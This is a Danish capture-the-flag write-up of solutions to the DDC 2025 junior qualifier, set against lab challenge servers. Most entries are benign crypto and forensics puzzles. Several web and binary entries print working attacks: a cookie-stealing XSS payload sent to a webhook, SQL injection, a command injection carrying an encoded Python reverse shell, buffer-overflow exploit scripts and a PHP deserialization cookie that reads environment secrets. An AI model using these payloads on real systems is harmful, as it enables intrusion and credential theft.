DDC - Qualifiers Junior 2025 : Writeups


Scoreboard:

Scoreboard

Slut scoreboard: Scoreboard med score (top 10)

Jeg var den første der kvalificerede sig på junior holdet, efter bare 24min og 44sek.

Discord Kvalifikation Besked


Opgaver løst (I den rækkefølge jeg løste dem):

Challenge Category
AES Decryption Cryptography
Find Frontdoor Web exploitation
Read the rules Kvalifikation
Efterforskningen Forensics
Straba Forensics
OutXORcing Reverse Engineering
Vigeneres dictionary Cryptography
Binary-Encodings1 Cryptography
Cross Site Job Web exploitation
Complete Styling Sadness Web exploitation
Shutter Trace Misc
Long live Caesar Cryptography
Hasher is back Misc
The Professors Lost Note Misc
What time is it Reverse Engineering
gotowin Binary
Leaky Store Web exploitation
ping-sweep Forensics
The Gauntlet pt 1 Boot2root
Masahiro Hara Misc
PassProtector Reverse Engineering
PWN me good uwu Binary
DDC Lounge Web exploitation
covertchannel2 Forensics
PWN me good uwu - Wifu Edition Binary

AES Decryption

You’ve intercepted a Base64-encoded AES-encrypted message, along with a potential key. Analyze and decrypt the ciphertext to uncover the secret at:

aes-ddc.hkn

Løsning: På hjemmesiden får vi en key og en encrypted besked, samt nogle hints om AES-ECB. Med disse informationer kan vi decrypte beskeden og finde flaget.

from Crypto.Cipher import AES
import base64
key = b"Kn0w1ngAESisP0w!"
enc_msg = "4y+S0gs40gNFI5ejtUh+szLf+GtzSu1IM/Lr1+2ZEWo="
enc_bytes = base64.b64decode(enc_msg)
# Decrypt med AES-ECB
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(enc_bytes).decode('utf-8').rstrip("\x10")
print(flag)

Flag: DDC{S3cr3t_C0d3}


Find Frontdoor

Vi har alle hørt om en bagdør… men har du nogensinde hørt om en fordør? 🤔

Hackere bruger bagdøre til at snige sig ind i systemer, men hvad nu hvis nogen bare efterlod hoveddøren vidt åben? 😲

I denne udfordring skal du ikke knække nogen avanceret kryptering eller brute-force adgangskoder - nej nej, nogen har allerede gjort arbejdet for dig! Måske er det en glemt debug-funktion? Måske en udvikler, der havde en dårlig dag?

Uanset hvad, så er spørgsmålet: Kan du finde fordøren… før nogen andre gør det? 🔓😈

Tjek udfordringen ud på:

findfrontdoor.hkn:8080

Løsning: Flaget kan ses i plaintext i source code.

Flag: DDC{Fr0ntD00r_0p3n_F0r_Bu5in3ss}


Read the rules

Velkommen til DDC 2025!

Nogle opgaver har en online del på en adresse, der ender på .hkn. Disse skal tilgås fra platformen Campfire Labs.

Start med at oprette en konto og start et browser lab. Start så opgaven read the rules og gå så til readtherules.hkn inde i browser labbet for at finde første del af flaget samt instruktioner til resten!

Held og lykke med dit første flag!!!

Løsning: Første halvdel af flaget findes på readtherules.hkn - Anden halvden af flaget kan findes under FAQ på https://junior.cybermesterskaberne.dk/tos

Flag: DDC{R34D_7H3_RUL3Z_0R_G37_Y3373D}


Efterforskningen

PET har i samarbejde med NSA fortaget en længevarende efterforskning af den verdenskendte hacker Fin B. PET foretog i fredags en razzia på Fin B’s bopæl, hvor de fandt en computer. Da de åbnede computeren, fandt de ikke noget. De mistænker Fin B for at have slettet alle hans filer før deres ankomst. PET har derfor brug for din hjælp! De vil have dig til at gennemsøge de vigtigste dele af hans computer, såsom root. Så find dine bedste redskaber frem, og find de slettede dokumenter.

Handout (Efterforskningen.zip)

Løsning: Ved at mounte .img filen på vores ejet system finder vi flaget i /root/.bash_history.

Flag: DDC{just_go_away}


Straba

Vi er på udkig efter nogle soldater som er fra den fjendtlige styrke. Vi har fået et tip om at de bruger straba til at poste deres løb. Straba har dog en politik om at udlevere 0 information og vi må derfor se om vi kan finde noget selv. Gå ind på straba.hkn og se om du kan finde noget i billederne. Flaget er navnet på byen ved den militærbase, som de er ved.

Eksempel på flag: DDC{odense}

straba.hkn

Løsning: På hjemmesiden ser vi et par posts med billeder, hvis man henter det første billede og bruger exiftool finder man coordinaterne til det sted hvor billet er taget.

Flag: DDC{skrydstrup}


outXORcing

Jeg udvikler kun flotte brugergrænseflader, så jeg outsourcede access control til en backend udvikler (Den inverse af mig). Kan du tjekke om det er sikkert for mig?

P.S min backend udvikler siger at objdump -d -S er strengt forbudt og at ingen bruger Ghidra mere.

Handout (outXORcing.zip)

Løsning: Ved at uploade access-control til https://dogbolt.org/ kan vi under BinaryNinja se __builtin_strncpy(&key, "jens_myrup", 0xb); samt __builtin_memcpy(&FLAG, "\x2e\x21\x2d\x08\x27\x5d\x0b\x2d\x1c\x03\x35\x17\x5d\x05\x6c\x1f\x0a\x1b\x17\x1c\x59\x18", 0x16);

Med lidt hjælp fra CyberChef kan vi finde flaget. Recipen er From Hex og XOR hvor key er jens_myrup som UTF8. Link til CyberChef recipe

Flag: DDC{x0r_is_r3v3rsibl3}


Vigeneres dictionary

En mere avanceret substitutionschiffer er Vignere chiffer, hvor en længere nøgle bruges til at forhindre brute force angreb. Nøglen var valgt fra en ordbog på dansk, så den var let at huske.

Det krypterede flag er på dansk, kan man dekryptere det selvom det er meget kort?

Husk at lægge resultatet ind i flagformatet: ddc eksempel flagDDC{eksempel_flag}

Handout (vigedict.zip)

Løsning: Siden der bliver talt så meget om dictionary og ordbøger, og vi har en liste af danske ord skal vi nok lave et dictionary attack. Dette kan gøres med python:

import string
# Same alphabet as in the encryption script
alphabet = 'abcdefghijklmnopqrstuvwxyzæøå'

def clean_input(text):
    text = text.lower()
    tmp = [c if c in (alphabet + string.whitespace) else '' for c in text]
    tmp2 = [c if c in alphabet else " " for c in tmp]
    return ''.join(tmp2)

def subtract(a, b):
    if a in string.whitespace:
        return a
    return alphabet[(alphabet.index(a) - alphabet.index(b)) % len(alphabet)]

def vigenere_decrypt(key, ciphertext):
    plaintext = ""
    for i in range(len(ciphertext)):
        plaintext += subtract(ciphertext[i], key[i % len(key)])
    return plaintext

def load_danish_words(filename):
    words = set()
    try:
        with open(filename, 'r', encoding='utf-8') as f:
            for line in f:
                word = line.strip().lower()
                if len(word) == 9 and all(c in alphabet for c in word):
                    words.add(word)
    except FileNotFoundError:
        print(f"Warning: Could not find {filename}")
    return words

def main():
    with open('encryption.txt', 'rb') as f:
        ciphertext = f.read().decode('utf-8')
    ciphertext = clean_input(ciphertext)
    print(f"Cleaned ciphertext: {ciphertext}")
    danish_words = load_danish_words('danish_dict.txt')
    print(f"Loaded {len(danish_words)} Danish words of length 9")
    for key in danish_words:
        plaintext = vigenere_decrypt(key, ciphertext)
        # Only print results that look promising (contain common Danish words)
        common_words = ['og', 'er', 'det', 'den', 'en', 'til']
        if any(word in plaintext.split() for word in common_words):
            print(f"\nKey: {key}")
            print(f"Decrypted: {plaintext}")

if __name__ == '__main__':
    main()

Key: strækning Decrypted: ddc ordbogsangreb er farlige

Flag: DDC{ordbogsangreb_er_farlige}


Binary-Encodings1

I heard hackers like binary, so I took my flag and binarified it, then scattered it among the primes! Can you reconstruct it from these small numbers, then undo my super cool permutation?

Handout (binary-encodings-1.zip)

Løsning: I denne opgave kan vi bruge Chinese Remainder Theorem, vi kan løse den med et lille python script og de værdier vi fik i filen.

from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes

def recover_flag(p_values, f_values):
    # Solve for x using CRT
    x, _ = crt(p_values, f_values)
    binary_string = bytes.fromhex(hex(x)[2:]).decode()
    flag_bytes = long_to_bytes(int(binary_string, 2))
    return flag_bytes

# Given p_i and f_i values
p_values = [
    9768317032740503603, 18156330420060477793, 10476762262519913959, 9347882639404620023,
    11430937203592009097, 17656701845837939561, 10011069635378637821, 9303859140428609923,
    9430685689565848129, 17610703349508968921, 18140526684492216101, 13376315490931891063,
    14024438832046178891, 14707324533024715489, 9978269176741957331, 13426850418503228437,
    17886189966641892589, 12567016417937207657, 11734576994202379979, 18381970530468107443,
    15834975197593730861, 11304987454211866601, 13069720355679787001, 9607164897014498981,
    9825483122269264409, 9608454472360228451, 11677408947673812151, 11577075391109060227,
    15098908071687008909, 11940695074819110637, 9277500110378312383, 11325145340975252239
]
f_values = [
    9575104083177283048, 654829914826964428, 8717987845758977868, 3299732009405467865,
    10473741261900299814, 2405639366022411754, 2194862298102476068, 6748703991871530302,
    3454422808257998182, 13565185375904130809, 8709537670581362149, 12293453432959068747,
    13229847825294716454, 3056173638526417581, 65599736668218521, 11398473528376442350,
    8576657917939379051, 9129425845766533589, 8594293513869774248, 5775640393641471384,
    349917141893968095, 3066029727228120275, 5587833707329530308, 9401495996680306807,
    8904901928481653836, 7591248352665021199, 10878696646715348869, 10506002541042515302,
    4781246273357667663, 7834587634360970146, 2068533696716192161, 6693265025140266855
]
flag = recover_flag(p_values, f_values)
print(flag.decode())

Flag: DDC{crt_to_the_m0100010110001n}


Cross Site Job

Secure Corp søger nye talenter, og du har chancen for at indsende din ansøgning gennem deres online jobansøgningssystem. Hjemmesiden indeholder en jobansøgningsformular og en administrativ sektion, som kun er tilgængelig for ansatte. Din opgave er at finde en måde at få adgang til denne sektion.

Når din ansøgning er indsendt, vil administratoren straks gennemgå den i sin browser.

(Påmindelse: Challenge-serverne har ikke adgang til internettet, men måske kan du få administratorens browser til at sende en forespørgsel og opfange den ved hjælp af http://webhook.hkn, http.server eller netcat.)

cross-site-job.hkn

Source code: webexp_cross-site-job.zip

Løsning: I app.py kan vi se at der er en blacklist: blacklist = ["<script", "<img", "<svg", "<image", "<iframe", "onload", "onerror", "document.cookie"], men siden at html er ligeglad om script tags er med upper og/eller lowercase kan vi lave et script-tag der ser sådan ud: <sCrIpT>. Men blacklisten tillader heller ikke document.cookie, så må vi blive lidt kreative, her kan vi bruge javascript funktionen concat() til at merge 2 strenge sammen.

Nu har vi vores payload vi kan indsende: fullname=aa&email=aaaa%40aaa.com&position=Software+Engineer&coverletter=<sCrIpT>fetch("http://webhook.hkn/capture?cookie=".concat(document["coo".concat("kie")]))</sCrIpT>

På webhook.hkn kan vi se admins cookie, så kan vi ændre vores ejen til den og refresh, flag!

Flag: DDC{c0ngr4tul4t10n5-j0b-w3ll-d0n3}


Complete Styling Sadness

Nogle gange skal ting justeres for at passe perfekt sammen. Se nærmere på strukturen og rækkefølgen – løsningen gemmer sig i detaljerne. Jeg har hørt fra mine venner at CSS er altid svaret.

Handout (CompleteStylingSadness.zip)

Løsning: I css filen kan vi se nogle sjove værdier, efter lidt cleanup & formatering har vi:

unicodes = [
    0x0044, 0x0044, 0x0043, 0x007B, 0x0043, 0x0035,
    0x0035, 0x005F, 0x0031, 0x0035, 0x005F, 0x0048,
    0x0034, 0x0052, 0x0044, 0x005F, 0x004D, 0x0034,
    0x004E, 0x005F, 0x0035, 0x004B, 0x0031, 0x0038,
    0x0031, 0x0044, 0x0031, 0x007D, 0x0020, 0x0020,
    0x0034, 0x0034, 0x0034, 0x0039, 0x004B, 0x0038,
    0x0042, 0x0043, 0x0033, 0x005A, 0x0035, 0x0034,
    0x0043, 0x0034, 0x0032
]
print(''.join(chr(code) for code in unicodes))

Flag: DDC{C55_15_H4RD_M4N_5K181D1}


Shutter Trace

Du arbejder i politiets efterforskningsafdeling, og du har modtaget et anonymt spor om en kriminel efterforskning. Din chef delte en mappe med beviserne, din opgave er at afsløre den person, der tog billedet i mappen.

Søg efter “clue.txt” filen i mappen “Clue” for at afdække oplysninger, der guider dig til den korrekte mappe, hvor dette billede er placeret. Du kan også undersøge billedopretteren.

Tips: Nogle vigtige begreber, du måske vil overveje, er skjulte filer, kodning (base64) og exiftool til billedmetadata.

Handout (shutter_trace.zip)

Løsning: Efter at have extracted mappen kan vi se en hel masse mapper. Men siden vi skal finde clue.txt kan vi bruge find . | grep "clue" som giver ./Clue_Folder/.clue.txt. Filen .clue.txt indeholder noget base64, det kan vi dekode: echo "VGhlIHBob3RvIGlzIGhpZGRlbiBpbiB0aGUgRXZpZGVuY2UgRm9sZGVyIGFzIGEganBnIGZpbGU=" | base64 -d dette giver os: The photo is hidden in the Evidence Folder as a jpg file. Som beskrevet i mappen Evidence_Folder finder vi 1 jpg fil blandt alle png filerne, super-market-8494759_1280.jpg. Til sidst kan vi bruge exiftool super-market-8494759_1280.jpg under Creator står flaget.

Flag: DDC{D4n13lss3n}


Long live Caesar

En af de ældste former for kryptering er Cæsar-chiffer, hvor hvert bogstav forskydes med en hemmelig nøgle. Denne gang har nogen modificeret Cæsar-chiffer ved at bruge multiplikation i stedet for addition.

Kan du dekryptere flaget?

Husk at lægge resultatet ind i flagformatet: ddc eksempel flagDDC{eksempel_flag}

Handout (longlive.zip)

Løsning: I filen encryption.txt finder vi strengen: uux fwnqeefæzr bq eayr xareah. Efter at have kigget lidt på encryption scriptet, kan vi lave et decryption script.

import string
alphabet = 'abcdefghijklmnopqrstuvwxyzæøå'
def mod_inverse(a, m):
    a = a % m
    for x in range(1, m):
        if (a * x) % m == 1:
            return x
    return 1
def caesar_decrypt(key, ciphertext):
    plaintext = ""
    for i in range(len(ciphertext)):
        if ciphertext[i] in string.whitespace:
            plaintext += ciphertext[i]
        else:
            # Find the modular inverse of the key index
            key_index = alphabet.index(key)
            inv_key = mod_inverse(key_index, len(alphabet))
            # Decrypt the character
            cipher_index = alphabet.index(ciphertext[i])
            plain_index = (cipher_index * inv_key) % len(alphabet)
            plaintext += alphabet[plain_index]
    return plaintext

for key in alphabet:
    if key == 'a':
        continue  # Skip 'a' as it's not a valid key
    decrypted_text = caesar_decrypt(key, 'uux fwnqeefæzr bq eayr xareah')
    print(f"Key: {key}, Decrypted Text: {decrypted_text}")

Flag: DDC{impossible_to_save_caesar}


Hasher is back

💀 Kan du knække koden? 💀

MD5 Hash: 24bb5c555b8f32d27eaeec9c5522b576

🛠️ Find værdien bag hashen og indsæt den i formatet DDC{cracked-hash-her} . 🛠️

💡 Pro tip: Det er ikke muligt at gå direkte fra en hash til dens oprindelige værdi, men du kan prøve en liste af mulige kandidater i et såkaldt “dictionary attack”. Værktøjer som John the Ripper og Hashcat, eller prøve at google efter andre online databaser som kan hjælpe med at slå md5 hashes op baseret på almindelige ord.💡

Løsning: Til denne opgave kan vi bruge et rainbow table, som eks. https://crackstation.net/ - Så smider vi bare vores md5 hash ind. Som giver: iloveyouall.

Flag: DDC{iloveyouall}


The Professors Lost Note

Scenarie: professor for cybersikkerhed på universitetet, Dr. Niels Andersen, har arbejdet på et sæt noter, der indeholder tips og løsninger til de kommende eksamener. Desværre har Dr. Andersen forlagt en af ​​disse filer, mens han organiserede sine mapper, og nu har han brug for din hjælp til at hente den, før det er for sent!

Du får en mappe ved navn Professor_Notes, der indeholder flere filer. Et sted i denne mappe er der en skjult fil med Dr. Andersens vigtige note. Filen er dog ikke direkte synlig i mappen.

Din opgave er at finde hint.txt og læse dens indhold for at afsløre professorens tip.

Tip: Den note, du leder efter, er måske ikke helt åbenlys. Ved at bruge de rigtige kommandoer i terminalen til at åbne mapper og undersøge filerne og Boot2rootderes indhold, vil du finde den tabte information.

Handout (lost_note.zip)

Løsning: I terminalen kan vi bruge find og grep til at finde filer, og cat til at læse dem.

ha1fdan@desktop:~/Downloads/lost_note$ find . | grep "hint.txt"
./Professor_Notes/.hint.txt

ha1fdan@desktop:~/Downloads/lost_note$ cat ./Professor_Notes/.hint.txt
DDC{3x4m4n5w3r5}

Flag: DDC{3x4m4n5w3r5}


What time is it

Jeg kommer altid for sent, så mine venner ender med at spise alle småkagerne, før jeg overhovedet ankommer. Denne gang har de efterladt mig en udfordring: Jeg skal gætte den nøjagtige rækkefølge, hvori de spiste småkagerne. Kan du hjælpe mig med at finde ud af rækkefølgen?

what-time-is-it.hkn

Handout (reveng_whattimeisit_src.zip)

Løsning: Ved at kigge i source koden kan vi se at Flask serveren genererer en sekvens af tal baseret på et time-dependent random seed. Så vi kan lave et Time-Based seed bruteforce attack.

import time
import random
import requests
import itertools

def generate_seed(h, m):
    return (h * 64 + m) ^ (h << 2) ^ (m & 0b1111)

def generate_sequence(seed):
    random.seed(seed)
    return [str(random.randint(1, 3)) for _ in range(8)]

# all times from 00:00 to 23:59
for hour in range(24):
    for minute in range(60):
        seed = generate_seed(hour, minute)
        sequence = generate_sequence(seed)
        payload = {"q": sequence}
        response = requests.post('http://what-time-is-it.hkn/9012340-123849081239582304213-42134123', json=payload)
        if response.status_code == 200:
            try:
                data = response.json()
                if 'x_3' in data:
                    print(f"Success! Time: {hour}:{minute}, Sequence: {sequence}, x_3: {data['x_3']}")
                    break
            except:
                pass

Eksempel output: Success! Time: 3:0, Sequence: ['2', '1', '3', '1', '1', '2', '2', '2'], x_3: DDC{t1m3st4mpsequence_br0k3n}

Flag: DDC{t1m3st4mpsequence_br0k3n}


gotowin

Tjek denne binære, og se, om du kan gå for at vinde!

Tip: adgangskoden er virkelig svær at gætte.

gotowin.hkn:8080

Handout (gotowin.zip)

Løsning: Ved at uploade main til https://dogbolt.org/ kan vi se en win funktion, nu kan vi bruge GDB til at disassemble win funktionen.

(gdb) disas win
Dump of assembler code for function win:
   0x000000000040131e <+0>:	endbr64 

Her kan vi se at win funktionens address er 0x000000000040131e som bliver til 0x40131e.

Så kan vi bruge pwntools og python til at sende vores payload til remoten.

from pwn import *

#p = process('./main')
p = remote('gotowin.hkn', 8080)

# Win function address from: `gdb ./main` and then `disas win`
win_addr = 0x40131e 

# The buffer is 112 bytes and we need to reach local_10
# Distance from local_88 to local_10 is 120 bytes (112 + 8 for alignment)
offset = 120

# Craft payload
payload = flat(
    b'A' * offset,
    p64(win_addr)
)

# Wait for ASCII art
p.recvuntil(b'')  # Wait for input prompt
p.sendline(payload)
print(p.recvall().decode())

Output: Congratulations! Here is your flag: DDC{1t_s_n0t_4b0ut_th3_p4ssw0rd}

Flag: DDC{1t_s_n0t_4b0ut_th3_p4ssw0rd}


Leaky Store

Der er nye produkter i, shoppen, så tag et kig! Du kan handle via websitet eller vores API.

Det er helt sikkert, så vi forventer selvfølgelig ikke, at vores database bliver lækket.

http://leaky-store.hkn

Løsning: robots.txt revealer /swagger endpoint med API documentation, her kan vi se at /search?query=xx er deprecated og derfor kan vi nok lave en sql injection.

sqlmap -u "http://leaky-store.hkn/search?query=motor" --risk 3 --level 5 --delay 2 --dump Her bruged der --delay for at undgå at vi bliver rate limited.

Efter lidt tid får vi et flag:

Database: public
Table: flags
[1 entry]
+----+----------------------------------+
| id | name                             |
+----+----------------------------------+
| 1  | DDC{0h_n0_3v3ryth1ng_1s_l34k1ng} |
+----+----------------------------------+

Flag: DDC{0h_n0_3v3ryth1ng_1s_l34k1ng}


ping-sweep

Vi har mistanke om, at nogle af vores ingeniører skjuler en hemmelig besked i vores sårbarhedsscanner, der bruger en ICMP ping sweep, i starten af scanningen. Vi har vedlagt en .pcap-fil, der viser et eksempel på mistænkelig aktivitet. Kan du finde ud af om der er noget unikt ved nogle af pakkerne, og om de indeholder en hemmelig besked?

Handout (ping_sweep.pcap)

Løsning: Når vi åbner pcap filen i wireshark og klikker på de forskellige ICMP pakker, kan vi at der er blevet overført data i form af noget der ligner hex. For at extracte al dataen fra alle pakker kan vi bruge tshark: tshark -r forensics_ping_sweep.pcap -Y "icmp" -T fields -e data > extracted.txt. Så kan vi smide vores extracted.txt fil over i CyberChef. Vi started med at bruge From Hex, dette giver os noget der ligner Base64, hvis vi så bruger Strings kan vi se nogle dele af flaget som, PART_2:ad_fae:PARTEND___ og PART_3:n_er_E:PARTEND___. Men for at få de andre dele skal vi slå “Remove non-alphabet chars” fra for Base64en. Efter dette får vi alle 5 dele af flaget:

PART_2:ad_fae:PARTEND___
PART_3:n_er_E:PARTEND___
PART_1:DDC{hv:PARTEND___(
5PART_4:CN}:PARTEND___

Så kan vi samle flaget.

Flag: DDC{hvad_faen_er_ECN}


The Gauntlet pt 1

So, you think you’re a l33t h4xx0r? Alright, here’s my little gauntlet to you then: Break in through the website and get a shell one way or another. Once that’s done, escalate your privileges and own the box. You won’t be needing any fancy kernel exploits or such, this one’s all about bad practices and misconfigurations. Doesn’t sound too hard, now does it? Good luck!

Flag binaries are located at /home/*****/user.flag and /root/root.flag

the-gauntlet.hkn

Løsning: Vi starter med at finde en Flask server på port 5000 med nmap. Næst kan vi lave en sql-injection på login siden: admin med password: abc' OR 1=1 --. Nu har vi en cookie, med flask-unsign finder vi secret til at være itsasecret, vi kan nu ændre vores cookie til: {'user': {'is_admin': True, 'username': 'Bob'}}. Nu har vi adgang til /admin, her får vi mulighed for at checke et host. Hvis vi prøver at tjekke ${PWD} får vi ping: /home/user1: Name or service not known, dette viser os at vores working directory er /home/user1. Ved at bruge burp kan vi sende denne command: command=8.8.8.8%0D%0Apython3$IFS-c$IFS'exec(__import__("base64").b64decode("aW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTAuMC4yNDAuMjQ2Iiw5MDAxKSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCJzaCIp").decode("utf-8"))', som kører en reverse shell via python tilbage til vores maskine. Nu kan vi med ls se at der er en fil der hedder: user.flag, ved at køre ./user.flag og trykke enter er der flag.

Flag: DDC{n0th1ng_l1k3_4_b1t_0f_RCE}


Masahiro Hara

Ingen beskrivelse

👉 Handout 👈

Løsning: Løst ved hjælp af QRazyBox og Nyan Tun Zaw’s medium.com post.

QR koden endte med at se sådan her ud:

QR Solved

eller som kode:

#######__##_#_##_#__#_#######
#_____#_#_###___###___#_____#
#_###_#_###_#__##___#_#_###_#
#_###_#_#_#########_#_#_###_#
#_###_#____#__#_____#_#_###_#
#_____#__#____#__##___#_____#
#######_#_#_#_#_#_#_#_#######
________##________#__________
#_____#_#_#_#_#####_###__###_
_####__#####___#######__#__#_
##_#_##_#__###_#____##_#_##__
__#_#____###___#___#____##_##
##_#__##___#__##__###_____###
_#_##____####_#_##__##__#____
_#########__#_###_#_##___#___
##___#_#_#_##_#_#_#_____###_#
_#___####_#__####__#_#_###___
#_##_#_#_##__###_#_#_#_###___
###__##__##_##_#####_#__#_#_#
#__#_____#_##_#____#___#_____
#___#####__#_____##_#######__
________###___#__####___#____
#######_____________#_#_#____
#_____#____#___#____#___#____
#_###_#__###_###_#_######____
#_###_#____#___#_##_#________
#_###_#__#__####_____________
#_____#___####_____#_________
#######_#_#____####__________

Flag: DDC{QU1CK-R32P0N23-C0D32-8Y-M42H1R0-H4R4}


PassProtector

Does obfuscation scare you?

Handout (PassProtector.zip)

Løsning: Ved at bruge en online java decompiler kan vi se at flaget bliver skabt med en Decryptor class, og bliver compared med dit input i Main filen. Hvis vi kører .jar filen: java -jar passprotector.jar og åbner en ny terminal, kan vi bruge jmap til at dumpe memory af programmet. Vi bruger jps -l til at finde det PID for vores java process, og så jmap: jmap -dump:live,format=b,file=dump.hprof <PID>, til sidst kan vi bruge strings og grep til at finde flaget: strings dump.hprof | grep "DDC"

Flag: DDC{R3v3r51ng_J4v4_15_34sy}


PWN me good uwu

UwU~ our wittle zerochain has a tiny buffer boo-boo! >w< Overflow the stack (gently, pwease~), align it wif a smol ret, and jump to the hidden function~ OwO. If you’re a good hax0r, it’ll spill its secwet fwag~ uwu ✨.

uwu.hkn:4242

Handout (PWN_me_good_uwu.zip)

Løsning: I denne opgave skal vi lave et buffer overflow for at overskrive stacken, indsætte et ret-gadgetspring og derefter hoppe til en skjult funktion, som vil give os shell.

1. Find en ret-gadget Først skal vi finde en ret-gadget, som vi kan bruge til at sikre stack-alignment. Det gør vi ved at køre:

ROPgadget --binary zerochain | grep " : ret"

Her finder vi en passende ret på adressen 0x401016.

2. Find adressen til den skjulte funktion Den skjulte funktion, vi skal hoppe til, hedder hidden_shell. Vi kan finde dens adresse i GDB med:

disassemble hidden_shell

Det viser os, at den ligger på 0x4015b2.

3. Bestem bufferens offset For at finde ud af, hvor mange bytes vi skal overskrive, bruger vi et cyclic pattern fra Pwntools:

pwn cyclic 200

Derefter kører vi programmet, vælger 4. Vulnerable Log, og indsætter mønsteret. Når programmet crasher, aflæser vi værdien af $rbp:

$rbp   : 0x6261616962616168 ("haabiaab"?)

Nu kan vi finde offsettet ved at køre:

pwn cyclic -l haabiaab

Det giver os en offset på 128.

4. Find en passende rbp-værdi

Når vi har crashet programmet, kan vi i GDB inspicere stacken med:

x/20gx $rsp

Her vælger vi en valid rbp-værdi, f.eks. 0x7fffffffde08.

Nu har vi alle de nødvendige oplysninger til at bygge vores exploit. Se Python-scriptet nedenfor.

from pwn import *
#p = process("./zerochain")
p = remote("uwu.hkn", 4242)
offset = 128
ret = p64(0x401016)
hidden_shell = p64(0x4015b2)
rbp = p64(0x7fffffffde08)
payload = b"A" * offset + rbp + ret + hidden_shell
p.sendlineafter('Your choice:', '4')
p.sendlineafter("Enter log message:", payload)
p.interactive()

Flag: DDC{pwn_15_fun_4nd_g00d_mu114h}


DDC Lounge

Den gode Jens har brugt en del af årets DDC budgetet på at lave en lounge til alle jer deltagere. Jeg er sikker på der ikke er sparet det mindste, da DDC kun fortjener det bedste!

http://ddc-lounge.hkn

Handout (webexp_ddc-lounge.zip)

Løsning: Ved at kigge i source koden kan vi se at signup_user() funktionen bruger if (strcmp($this->secret,$signup_secret) != 0) { til at tjekke om secret er korrekt. Vi kan bruge [] så vores request ser sådan ud: user=test&pass=test&secret[]=test. Nu kan vi logge ind som test. Ved at kigge på vip-siden kan vi se at den bruger en permissions class og en logging class. Hvis vi selv laver vores permissions cookie, kan vi få adgang til vip-siden. Vi kan bruge php og den given classes.php fil til dette, urlencode(base64_encode((serialize(new permissions("test")))));.

Nu har vi adgang til siden, og kan se i source koden at der hintes til at vi skal hive flaget ud af environment variablen FLAG. Vi kan bruge logging classen til at læse fra en fil, her kan vi bruge /proc/self/environ til at læse alle environment variabler.

Vi kan bruge urlencode(base64_encode((serialize(new permissions(new logging("/proc/self/environ")))))); til at lave vores cookie, som ser sådan ud: TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO086NzoibG9nZ2luZyI6MTp7czo4OiJsb2dfZmlsZSI7czoxODoiL3Byb2Mvc2VsZi9lbnZpcm9uIjt9czo1OiJhZG1pbiI7YjoxO30%3D eller decoded: O:11:"permissions":2:{s:8:"username";O:7:"logging":1:{s:8:"log_file";s:18:"/proc/self/environ";}s:5:"admin";b:1;}.

Dette giver os beskeden:

Velkommen til VIP-lounge, HOSTNAME=4f97a06c471fPHP_VERSION=7.4.33APACHE_CONFDIR=/etc/apache2PHP_INI_DIR=/usr/local/etc/phpGPG_KEYS=42670A7FE4D0441C8E4632349E4FDC074A4EF02D 5A52880781F755608BF815FC910DEB46F53EA312PHP_LDFLAGS=-Wl,-O1 -piePWD=/tmpAPACHE_LOG_DIR=/var/log/apache2LANG=CPHP_SHA256=924846abf93bc613815c55dd3f5809377813ac62a9ec4eb3778675b82a27b927FLAG=DDC{m4ske_et_st0rre_budg3t_v1l_kunn3_st0ppe_PHP}APACHE_PID_FILE=/var/run/apache2/apache2.pidPHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2cPHP_URL=https://www.php.net/distributions/php-7.4.33.tar.xzAPACHE_RUN_GROUP=www-dataAPACHE_LOCK_DIR=/var/lock/apache2SHLVL=0PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64APACHE_RUN_DIR=/var/run/apache2APACHE_ENVVARS=/etc/apache2/envvarsAPACHE_RUN_USER=www-dataPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPHP_ASC_URL=https://www.php.net/distributions/php-7.4.33.tar.xz.ascPHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64.
Din ankomst er blevet registreret i vores log system. Hav en fortsat god dag

I beskeden finder vi flaget.

Flag: DDC{m4ske_et_st0rre_budg3t_v1l_kunn3_st0ppe_PHP}


covertchannel2

A covert channel should be in this pcap.

Handout (cc2.pcap)

Løsning: Vi åbner pcap-filen med Wireshark og anvender filteret tcp.urgent_pointer > 0 for at finde de relevante pakker. Her bemærker vi, at de første 44 pakker har en Urgent Pointer-værdi over 1000, mens alle andre er 0. Hvis vi kigger på de første tre pakker, ser vi værdierne 1088, 1088 og 1072, hvilket kunne svare til DDC, da 1088 fremgår to gange lige efter hinanden.

Ser vi videre på de følgende pakker kan man se et mønster: Hvis vi dividerer alle urgent pointer-værdierne med 16, får vi ASCII-værdierne for start-bogstaverne i flaget.

For eksempel:

  • 1088 / 16 = 68 (D)
  • 1088 / 16 = 68 (D)
  • 1072 / 16 = 67 (C)
  • 1968 / 16 = 123 ({)

Ved at fortsætte denne metode på alle de 44 pakker får vi flaget.

Her er solve script til opgaven:

import pyshark
cap = pyshark.FileCapture('cc2.pcap', display_filter='ip.src == 192.168.120.179')
urgent_pointers = [int(packet.tcp.urgent_pointer) 
                  for packet in cap 
                  if hasattr(packet, 'tcp') and hasattr(packet.tcp, 'urgent_pointer')]
cap.close()
urgent_pointers = [chr(round(x / 16)) for x in urgent_pointers if x != 0]
print(''.join(urgent_pointers))

Eller en sej one-liner:

python3 -c "import pyshark;print(''.join([chr(round(x / 16)) for x in [int(packet.tcp.urgent_pointer) for packet in pyshark.FileCapture('cc2.pcap', display_filter='ip.src == 192.168.120.179') if hasattr(packet, 'tcp') and hasattr(packet.tcp, 'urgent_pointer')] if x != 0]))"

Flag: DDC{off_by_four_to_hide_from_nosy_hackers}


PWN me good uwu - Wifu Edition

OwO~ Part 2 is here, and it’s even spicier! This time, our wifu binary zerochain2 is hiding behwiiind a stwong stack canawy and sneaky memowy wandomization~ >w< But dwon’t wowwy, we got dis!

Defeat the defenses, bypass the canawy, and uwrap the fwag wike a pwesent fow wifu~ 💖 OwO.

Handout (PWN_me_good_uwu_-_Wifu_Edition.zip)

